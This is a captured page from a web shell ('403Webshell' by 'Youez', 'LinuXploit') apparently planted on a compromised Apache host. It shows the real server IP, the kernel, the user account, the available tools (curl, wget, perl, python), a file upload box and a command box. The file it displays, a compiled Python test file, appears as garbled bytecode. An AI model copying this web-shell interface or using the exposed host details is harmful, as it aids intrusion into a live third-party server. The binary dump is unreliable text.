403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.217.130
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_frame.cpython-36.pyc
3

�w2_|�@slddlZddlZddlZddlZddlZddlmZGdd�dej�ZGdd�dej�Z	e
dkrhej�dS)�N)�supportc@sXeZdZdZddd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
ejdd��Z
dS)�	ClearTestz"
    Tests for frame.clear().
    �cKsdddS)N�r�)�self�x�kwargsrr�4/opt/alt/python36/lib64/python3.6/test/test_frame.py�innerszClearTest.innercKs<y|jf|�Wn&tk
r6}z
|}WYdd}~XnX|S)N)r�ZeroDivisionError)rr	�e�excrrr
�outers
zClearTest.outercCs"x|dk	r|jj�|j}qWdS)z2
        Clear all frames in a traceback.
        N)�tb_frame�clear�tb_next)r�tbrrr
�clear_traceback_framess

z ClearTest.clear_traceback_framescCshGdd�d�}|�}tj|�}|j|d�}~tj�|jd|��|j|j�tj�|jd|��dS)Nc@seZdZdS)z&ClearTest.test_clear_locals.<locals>.CN)�__name__�
__module__�__qualname__rrrr
�C"sr)�c)	�weakref�refrrZ
gc_collect�assertIsNotr�
__traceback__�assertIs)rrr�wrrrrr
�test_clear_locals!s
zClearTest.test_clear_localscs@d��fdd�}|�}t|�|j��|jj�|j��dS)NFc
3szdVt�Wdd�XdS)NT)rr)�endlyrr
�g2s
z)ClearTest.test_clear_generator.<locals>.g)�next�assertFalse�gi_framer�
assertTrue)rr"�genr)r!r
�test_clear_generator0s

zClearTest.test_clear_generatorcCszyddWn*tk
r6}z|jj}WYdd}~XnX|jt��|j�WdQRX|jt��|jj�WdQRXdS)Nrr)rrr�assertRaises�RuntimeErrorr�f_back)rr
�frrr
�test_clear_executing@szClearTest.test_clear_executingcs@d���fdd�}|�}t|�}�j��|j��j��dS)NFc"3s�z�yddWnntk
r|}zR|jj}�jt��|j�WdQRX�jt��|jj�WdQRX|VWYdd}~XnXWdd�XdS)NrrT)rrrr)r*rr+)r
r,)r!rrr
r"Nsz3ClearTest.test_clear_executing_generator.<locals>.g)r#r$rr&)rr"r'r,r)r!rr
�test_clear_executing_generatorKs

z(ClearTest.test_clear_executing_generatorc
Csltj��ZGdd�d�}|�}tj|�}|j|d�}~|jd|��|j|j�|jd|��WdQRXdS)Nc@seZdZdS)z)ClearTest.test_clear_refcycles.<locals>.CN)rrrrrrr
rfsr)r)	rZ
disable_gcrrrrrrr)rrrrrrrr
�test_clear_refcyclesbs

zClearTest.test_clear_refcyclesN)r)rrr�__doc__rrrr r(r-r.rZcpython_onlyr/rrrr
r
s
rc@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�FrameLocalsTestz,
    Tests for the .f_locals attribute.
    cCs`dd�}y
|�WnHtk
rZ}z,|j}g}x|rH|j|j�|j}q0WWYdd}~XnX|S)Ncsd�d}�fdd�}|�S)Nr�cs�d}ddd}dS)N�rr�	r)�z�t)rrr
rzsz9FrameLocalsTest.make_frames.<locals>.outer.<locals>.innerr)�yrr)rr
rwsz*FrameLocalsTest.make_frames.<locals>.outer)rr�appendrr)rrr
rZframesrrr
�make_framesvs
zFrameLocalsTest.make_framescCsV|j�\}}}|j}|j|jd�tj�|j|ddd��|j}|j|ddd��dS)Nrrr2)rr7�)rr5)r9�f_localsZassertIsInstance�pop�types�FunctionType�assertEqual)rr,rrZouter_localsZinner_localsrrr
�test_locals�szFrameLocalsTest.test_localscCs>|j�\}}}|j�|j�|j|ji�|j|ji�dS)N)r9rr?r;)rr,rrrrr
r �s
z!FrameLocalsTest.test_clear_localscCsJ|j�\}}}|j|j|j�|j�|j|ji�|j|ji�dS)N)r9r;rr?)rr,rrrrr
�test_locals_clear_locals�sz(FrameLocalsTest.test_locals_clear_localsN)rrrr0r9r@r rArrrr
r1qs
r1�__main__)�gc�sysr=ZunittestrZtestrZTestCaserr1r�mainrrrr
�<module>sg3

Youez - 2016 - github.com/yon3zu
LinuXploit